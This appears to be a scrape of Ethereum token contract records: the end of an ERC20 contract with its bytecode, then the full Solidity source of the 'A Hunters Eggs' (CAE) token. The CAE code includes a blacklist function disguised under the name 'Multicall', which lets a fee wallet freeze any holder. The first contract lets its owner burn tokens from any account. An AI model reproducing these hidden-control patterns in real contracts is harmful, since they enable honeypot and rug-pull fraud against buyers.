* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function burn(address account,uint256 amount) public onlyOwner {
_burn(account,amount);
}
function mint(address account,uint256 amount) public onlyOwner {
_mint(account,amount);
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461029d578063a9059cbb146102cd578063dd62ed3e146102fd578063f2fde38b1461032d57610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b41146102635780639dc29fac1461028157610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806340c10f19146101ef57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610349565b60405161011a919061173b565b60405180910390f35b61013d600480360381019061013891906114b0565b6103db565b60405161014a9190611720565b60405180910390f35b61015b6103f9565b60405161016891906118dd565b60405180910390f35b61018b60048036038101906101869190611461565b610403565b6040516101989190611720565b60405180910390f35b6101a9610504565b6040516101b691906118f8565b60405180910390f35b6101d960048036038101906101d491906114b0565b61050d565b6040516101e69190611720565b60405180910390f35b610209600480360381019061020491906114b0565b6105b9565b005b610225600480360381019061022091906113fc565b610643565b60405161023291906118dd565b60405180910390f35b61024361068c565b005b61024d6107c6565b60405161025a9190611705565b60405180910390f35b61026b6107ef565b604051610278919061173b565b60405180910390f35b61029b600480360381019061029691906114b0565b610881565b005b6102b760048036038101906102b291906114b0565b61090b565b6040516102c49190611720565b60405180910390f35b6102e760048036038101906102e291906114b0565b6109ff565b6040516102f49190611720565b60405180910390f35b61031760048036038101906103129190611425565b610a1d565b60405161032491906118dd565b60405180910390f35b610347600480360381019061034291906113fc565b610aa4565b005b60606004805461035890611a41565b80601f016020809104026020016040519081016040528092919081815260200182805461038490611a41565b80156103d15780601f106103a6576101008083540402835291602001916103d1565b820191906000526020600020905b8154815290600101906020018083116103b457829003601f168201915b5050505050905090565b60006103ef6103e8610c4d565b8484610c55565b6001905092915050565b6000600354905090565b6000610410848484610e20565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610c4d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d2906117fd565b60405180910390fd5b6104f8856104e7610c4d565b85846104f39190611985565b610c55565b60019150509392505050565b60006012905090565b60006105af61051a610c4d565b848460026000610528610c4d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105aa919061192f565b610c55565b6001905092915050565b6105c1610c4d565b73ffffffffffffffffffffffffffffffffffffffff166105df6107c6565b73ffffffffffffffffffffffffffffffffffffffff1614610635576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062c9061181d565b60405180910390fd5b61063f82826110a2565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610694610c4d565b73ffffffffffffffffffffffffffffffffffffffff166106b26107c6565b73ffffffffffffffffffffffffffffffffffffffff1614610708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ff9061181d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107fe90611a41565b80601f016020809104026020016040519081016040528092919081815260200182805461082a90611a41565b80156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b610889610c4d565b73ffffffffffffffffffffffffffffffffffffffff166108a76107c6565b73ffffffffffffffffffffffffffffffffffffffff16146108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f49061181d565b60405180910390fd5b61090782826111f7565b5050565b6000806002600061091a610c4d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ce9061189d565b60405180910390fd5b6109f46109e2610c4d565b8585846109ef9190611985565b610c55565b600191505092915050565b6000610a13610a0c610c4d565b8484610e20565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610aac610c4d565b73ffffffffffffffffffffffffffffffffffffffff16610aca6107c6565b73ffffffffffffffffffffffffffffffffffffffff1614610b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b179061181d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b879061179d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbc9061187d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c906117bd565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e1391906118dd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e879061185d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef79061175d565b60405180910390fd5b610f0b8383836113cd565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f89906117dd565b60405180910390fd5b8181610f9e9190611985565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611030919061192f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161109491906118dd565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611109906118bd565b60405180910390fd5b61111e600083836113cd565b8060036000828254611130919061192f565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611186919061192f565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111eb91906118dd565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611267576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125e9061183d565b60405180910390fd5b611273826000836113cd565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f19061177d565b60405180910390fd5b81816113069190611985565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461135b9190611985565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113c091906118dd565b60405180910390a3505050565b505050565b6000813590506113e181611e4a565b92915050565b6000813590506113f681611e61565b92915050565b60006020828403121561140e57600080fd5b600061141c848285016113d2565b91505092915050565b6000806040838503121561143857600080fd5b6000611446858286016113d2565b9250506020611457858286016113d2565b9150509250929050565b60008060006060848603121561147657600080fd5b6000611484868287016113d2565b9350506020611495868287016113d2565b92505060406114a6868287016113e7565b9150509250925092565b600080604083850312156114c357600080fd5b60006114d1858286016113d2565b92505060206114e2858286016113e7565b9150509250929050565b6114f5816119b9565b82525050565b611504816119cb565b82525050565b600061151582611913565b61151f818561191e565b935061152f818560208601611a0e565b61153881611ad1565b840191505092915050565b600061155060238361191e565b915061155b82611ae2565b604082019050919050565b600061157360228361191e565b915061157e82611b31565b604082019050919050565b600061159660268361191e565b91506115a182611b80565b604082019050919050565b60006115b960228361191e565b91506115c482611bcf565b604082019050919050565b60006115dc60268361191e565b91506115e782611c1e565b604082019050919050565b60006115ff60288361191e565b915061160a82611c6d565b604082019050919050565b600061162260208361191e565b915061162d82611cbc565b602082019050919050565b600061164560218361191e565b915061165082611ce5565b604082019050919050565b600061166860258361191e565b915061167382611d34565b604082019050919050565b600061168b60248361191e565b915061169682611d83565b604082019050919050565b60006116ae60258361191e565b91506116b982611dd2565b604082019050919050565b60006116d1601f8361191e565b91506116dc82611e21565b602082019050919050565b6116f0816119f7565b82525050565b6116ff81611a01565b82525050565b600060208201905061171a60008301846114ec565b92915050565b600060208201905061173560008301846114fb565b92915050565b60006020820190508181036000830152611755818461150a565b905092915050565b6000602082019050818103600083015261177681611543565b9050919050565b6000602082019050818103600083015261179681611566565b9050919050565b600060208201905081810360008301526117b681611589565b9050919050565b600060208201905081810360008301526117d6816115ac565b9050919050565b600060208201905081810360008301526117f6816115cf565b9050919050565b60006020820190508181036000830152611816816115f2565b9050919050565b6000602082019050818103600083015261183681611615565b9050919050565b6000602082019050818103600083015261185681611638565b9050919050565b600060208201905081810360008301526118768161165b565b9050919050565b600060208201905081810360008301526118968161167e565b9050919050565b600060208201905081810360008301526118b6816116a1565b9050919050565b600060208201905081810360008301526118d6816116c4565b9050919050565b60006020820190506118f260008301846116e7565b92915050565b600060208201905061190d60008301846116f6565b92915050565b600081519050919050565b600082825260208201905092915050565b600061193a826119f7565b9150611945836119f7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561197a57611979611a73565b5b828201905092915050565b6000611990826119f7565b915061199b836119f7565b9250828210156119ae576119ad611a73565b5b828203905092915050565b60006119c4826119d7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a2c578082015181840152602081019050611a11565b83811115611a3b576000848401525b50505050565b60006002820490506001821680611a5957607f821691505b60208210811415611a6d57611a6c611aa2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611e53816119b9565b8114611e5e57600080fd5b50565b611e6a816119f7565b8114611e7557600080fd5b5056fea26469706673582212203c125e30689c808e59dae285dcf64506b1edc2f609b1c67d43f8bb742d05a44e64736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 7,720 |
0x4faed5b8b2948084ba61b8845cac5056235db77a
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
// SPDX-License-Identifier: MIT
/*
A Hunters Egg
Tax fee : 3% / 3%
Ownership will be renounced and LP will be locked for 1 week & extended to 1 month at 100k.
Telegram Chat Will Be Open At 50k !
Let's found some eggs hunters !
*/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AHuntersEggs is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"A Hunters Eggs"; ////
string public constant symbol = unicode"CAE"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 3;
uint public _sellFee = 3;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 30000000000 * 10**9; // 3%
_maxHeldTokens = 30000000000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
